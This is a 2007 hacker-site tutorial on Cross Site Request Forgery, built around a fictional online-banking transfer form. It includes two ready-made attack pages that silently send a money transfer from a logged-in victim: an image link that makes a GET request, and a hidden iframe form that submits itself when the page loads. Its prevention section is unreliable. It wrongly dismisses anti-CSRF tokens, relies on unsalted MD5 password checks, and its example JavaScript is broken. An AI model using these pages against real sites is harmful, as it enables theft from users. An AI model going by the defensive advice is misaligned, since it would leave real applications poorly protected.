/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/
-[ INFOS ]-----------------------------------------------------------------------
Title: "Cross Site Request Forgery: the Sea Surf"
Author: Nexus
Website: http://nexus.playhack.net
Date: 2007-04-29, Updated in 2007-05-20 (ISO 8601)
---------------------------------------------------------------------------------
-[ SUMMARY ]---------------------------------------------------------------------
0x01: Hello World
0x02: Introduction
0x03: About Authentications
0x04: Difference between XSS and CSRF
0x05: Get deep in CSRF
0x06: Attack Points
0x07: Prevention
0x08: Conclusions
---------------------------------------------------------------------------------
---[ 0x01: Hello World ]
Yo!
Classical title for the first paragraph indeed :) Don't think there's a better
name out there! Ok, i know it's clueless, but let me do the ritual thanks and
shoutouts and then i'll move on serious business!
Intake: Actually some coke only, it's too hot for eating anything :Q
Music: Rage Against The Machine - Know your Enemy
Shoutouts: as it comes all my playhack.net bros (Omni, GOD, Null and all the
users), str0ke (the c00lest guy out there :P) and my girlfriend, who's having
a bath right now and giving me the time to write this stuff (don't tell her, she
still think i'm working :o) and obviously everyone reading this paper. Thanks!
-----------------------------------------------------------------------------[/]
---[ 0x02: Introduction ]
Today we talk about Cross Site Request Forgery (also known as XSRF) abbreviated
in CSRF, from which pronounce has come the friendly name "Sea Surf" ;)
Following the previous papers on Cross Site Scripting written by me, i thought
it was an obvious step to deal with this theme: here i am then!
This kind of vulnerability, which is very common and understimated, permits to
make a victim user to send any kind of HTTP request to a website in which he
is logged in and trusted in some way.
In this way the attacker, forging some malicious HTML or JavaScript code, uses
an opened session of the victim to make HIM doing actions, which really
complicates the identification of a CSRF attack.
This Session Riding could easily be taken in action with markup languages (such
as Blog's and Wiki's syntax) and BBcode too.
-----------------------------------------------------------------------------[/]
---[ 0x03: About Authentications ]
Commonly when a user logs into a trusted website, the authentication system will
flag this person with a "token" that tells to the website that the current user
is authed and authorized to visit some reserved pages and services.
These "tokens" are realized with the creations of Cookies and Sessions, commonly
generated with some hashed or encoded number , which strictly identify a single
user.
Anytime this user logs into the website with his own credentials he will be flag-
ged and a new session will be generated, and meanwhile an attacker could easily
makes some unauthorized actions in the "ward" of that website ;)
It could looks like something quite un-dangerous, because only an idiot user
will accept any kind of request that will disfrut his own authentication: great
mistake! Don't ever understimate the power of a sweet Cookie! :P
Cookies are the aim of the most XSS attacks because permits an instant access
to any kind of confidential and private service an user has privileges on:
the CSRF is even more powerful, because disfruts the current session and cannot
be avoided easily if the website doesn't provide very short temporary cookies.
-----------------------------------------------------------------------------[/]
---[ 0x04: Difference between XSS and CSRF ]
Actually, what's the real difference between XSS and CSRF? They look very
similars!
As a matter of fact they're quite similars, but there's a core difference that
makes the two vulnerabilities strictly opposed eachothers.
In the XSS vulnerabilities the USER trusts the WEBSITE's integrity, and gets
tricked to give direct informations to the ATTACKER (with cookie grabbing
of fake logins for example).
In the CSRF vulnerabilities is the WEBSITE that trusts in the USER's requests
and accomplish any kind of action that comes from his flagged authentication in
order to get some advantages to the ATTACKER.
The Cross Site Request Forgery situation can be resumed with this graph:
trusted <-----flag-----.
.----------. .------. .---|-----.
| ATTACKER |__________| USER |___________| WEBSITE |
`----------` tricks `------` (request) `---------`
| \_ _ _ _ _ _ _ _/ |
| |
`--------------------------------------`
the website accomplishes the request
As we can see the situation is opposed to the XSS' one, the website (trusting
the authentication and the authorizations of the user) just accomplishes the
request that are sent to him, which are obscured to the USER's awareness.
The important point of this attack is that the request to the website is sent
by the USER, not the ATTACKER: this makes the vulnerability more dangerous.
-----------------------------------------------------------------------------[/]
---[ 0x05: Get deep in CSRF ]
Okay, now that we got a general idea of what CSRF is, let's try to get into
some simple examples.
Assure that for example a user is subscribed into a website that provide some
particular services, maybe which even schedule some money transactions: when the
user logs in, the server will create a cookie or a session that flags the user
as authed and authorized to access to his own private pages.
Assure also that the website is maybe a e-banking service and it provides an
HTML form which perform money transactions, and the code will look like:
<!-- scratch of a form -->
<form method="POST" action="sendmoney.php" name="sendmoney">
<div>How much: <input type="text" name="cash"></div>
<div>To: <input type="text" name="toname"></div>
<div>ABI: <input type="text" name="toabi"></div>
<div>CAB: <input type="text" name="tocab"></div>
<div>CIN: <input type="text" name="tocin"></div>
<div><input type="submit" name="submit" value="Buy"></div>
</form>
<!-- EOF -->
Through this form the user could transfer some money to the target bank account.
Ok, it's really a stupid thing and quite impossible to be found right that, but
it's only to make you understand the thing more clearly :P don't complain for
that please!
Ok, when the user will submit the values of the form the script sendmoney.php
will execute the query and make the e-banking system accomplish his request
of transfer.
Maybe the script will look like:
/* sendmoney.php */
<?
session_start();
if(isset($_REQUEST['cash']))
$cash = $_REQUEST['cash'];
else
die("Specify the amount of money");
if(isset($_REQUEST['toname']))
$toname = $_REQUEST['toname'];
else
die("Specify a recipient");
if(isset($_REQUEST['toabi']))
$toabi = $_REQUEST['toabi'];
else
die("Specify the ABI");
if(isset($_REQUEST['tocab']))
$tocab = $_REQUEST['tocab'];
else
die("Specify the CAB");
if(isset($_REQUEST['tocin']))
$tocin = $_REQUEST['tocin'];
else
die("Specify the CIN");
// This function safely send the money to the target
send_money($cash, $toname, $toabi, $tocab, $tocin);
?>
/* EOF */
Consider that this script is well written and the send_money() sanitizes all the
variables that are submitted to him, the transfer will be finally accomplished.
In this particular case the use of REQUEST global variable allows to an
attacker to disfrut the GET method in order to trick the user and steal his
money :)
If the user is authed in, as we previously said, an attacker could provide
to the user a webpage or an image which will look like something like this:
<!-- coolthing.html -->
<html>
<head><title>Cool Thing</title></head>
<body>
<img src="http://bankhost.com/sendmoney.php?cash=ALL&toname=ME&toabi=
123456&tocab=123456&tocin=X">
</body>
</html>
<!-- EOF -->
Actually, if the user invited to visit this page is contemporary logged into
the "bankhost.com" website, the image loaded will send an HTTP request to
that website asking him to accomplish that transaction: the fact is that
the transfer will be formerly commanded from the user himself.
Ok.. this is not really a good way for managing the transaction: the REQUEST
global is not that safe, most probably the script sendmoney will use the POST
variables instead, because they may think that it would be more secure.
Obviously it is not.
Consider that the coolthing.html file will look instead like:
<!-- coolthing.html -->
<html>
<head>
<title>Cool Thing</title>
<script>
stealMoney() {
iframe = document.frames["stealmoney"];
iframe.document.steal.submit();
}
</head>
<body onload="stealMoney()">
<div><img src="reallyc00landfunnypicture.jpg"></div>
<iframe name="stealmoney" display="none">
<form method="POST" name=" steal"
action="http://bankhost.com/sendmoney.php">
<input type="hidden" name="cash" value="ALL">
<input type="hidden" name="toname" value="ME">
<input type="hidden" name="toabi" value="123456">
<input type="hidden" name="tocab" value="123456">
<input type="hidden" name="tocin" value="X">
</form>
</iframe>
</body>
</html>
<!-- EOF -->
As we can see this page's appereance is composed only by the c00l picture
loaded, but as an hidden action a crafted form in the iframe "stealMoney" will
execute a request to the "bankhost.com" website, asking to the user's session
to transfer the money to the targeted infos :)
This is just a stupid example, but through this you can imagine what kind of
entity this vulnerability can take.
-----------------------------------------------------------------------------[/]
---[ 0x06: Attack Points ]
Let's summarize then what happens creating a CSRF attack.
1- The attacker find a clueless user which is registered to a service
vulnerable of CSRF
2- The attacker creates an html page which automatically send some
requests to the vulnerable website
3- The victim logs into the website and get an opened session
4- The attacker provides the crafted html page to the victim
5- The victim visits that page
6- the HTTP request is sent and the malicious action accomplished :)
I think actually that it's quite easy to understand how much dangerous this
vulnerability could is for a smart and malicious attacker which basically knows
how to move his attacks.
-----------------------------------------------------------------------------[/]
---[ 0x07: Prevention ]
Now that we understood how a CSRF attack is taken in action let's try to analize
how we could prevent and protect ourself from this kind of flaws.
In these months has been widely discussed how to prevent this kind of vulnerability
but commonly without reaching any kind of fixed, stable and functional conclusion.
It has been talked about Unique Tokens, Captchas and others.. but i still think
they still won't be enough for this or simply can not be implemented smartly.
Awaiting for better results i suggest all of you to consider to ask to the user
the password again at least on sensitive pages (like e-commerce forms and stuff),
in order to be sure that the session cannot be hijacked (actually.. if the attacker
doesn't know the user password he couldn't do anything dangerous and on the other
side if he really know the password, he doesn't require CSRF at all :P).
It's really easy to implement this security misure, adding a new field in the
form:
<!-- new scratch of the form -->
<form method="POST" action="sendmoney.php" name="sendmoney">
<div>How much: <input type="text" name="cash"></div>
<div>To: <input type="text" name="toname"></div>
<div>ABI: <input type="text" name="toabi"></div>
<div>CAB: <input type="text" name="tocab"></div>
<div>CIN: <input type="text" name="tocin"></div>
<div>Your passord: <input type="password" name="pass"></div>
<div><input type="submit" name="submit" value="Buy"></div>
</form>
<!-- EOF -->
And as it comes we'll put a check like following in the 'sendmoney.php' file:
/* scratch from sendmoney.php */
if(isset($_POST['pass']) && md5($_POST['pass']) == $mysql_row['pass']) {
...
} else {
die("You must specify a correct password!");
}
/* EOF */
In this way the CSRF attack attempts will be nullified if the attacker is not
aknowledged of confidentials infos like the Password for example.
Other solutions like Unique Tokens based on PHP Sessions should be avoided
because the attacker could bypass them.
-----------------------------------------------------------------------------[/]
---[ 0x08: Conclusions ]
Even this paper is actually finished: i hope as always that you enjoyed it at
least as much as i enjoyed studying this theme.
Remember that you can always send feedback to me at
nexus @ playhack . net :)
Thanks to everybody out there and cheers to the italian scene! :D
-----------------------------------------------------------------------------[/]
\======================================[EOF]=====================================/
# milw0rm.com [2007-05-21]
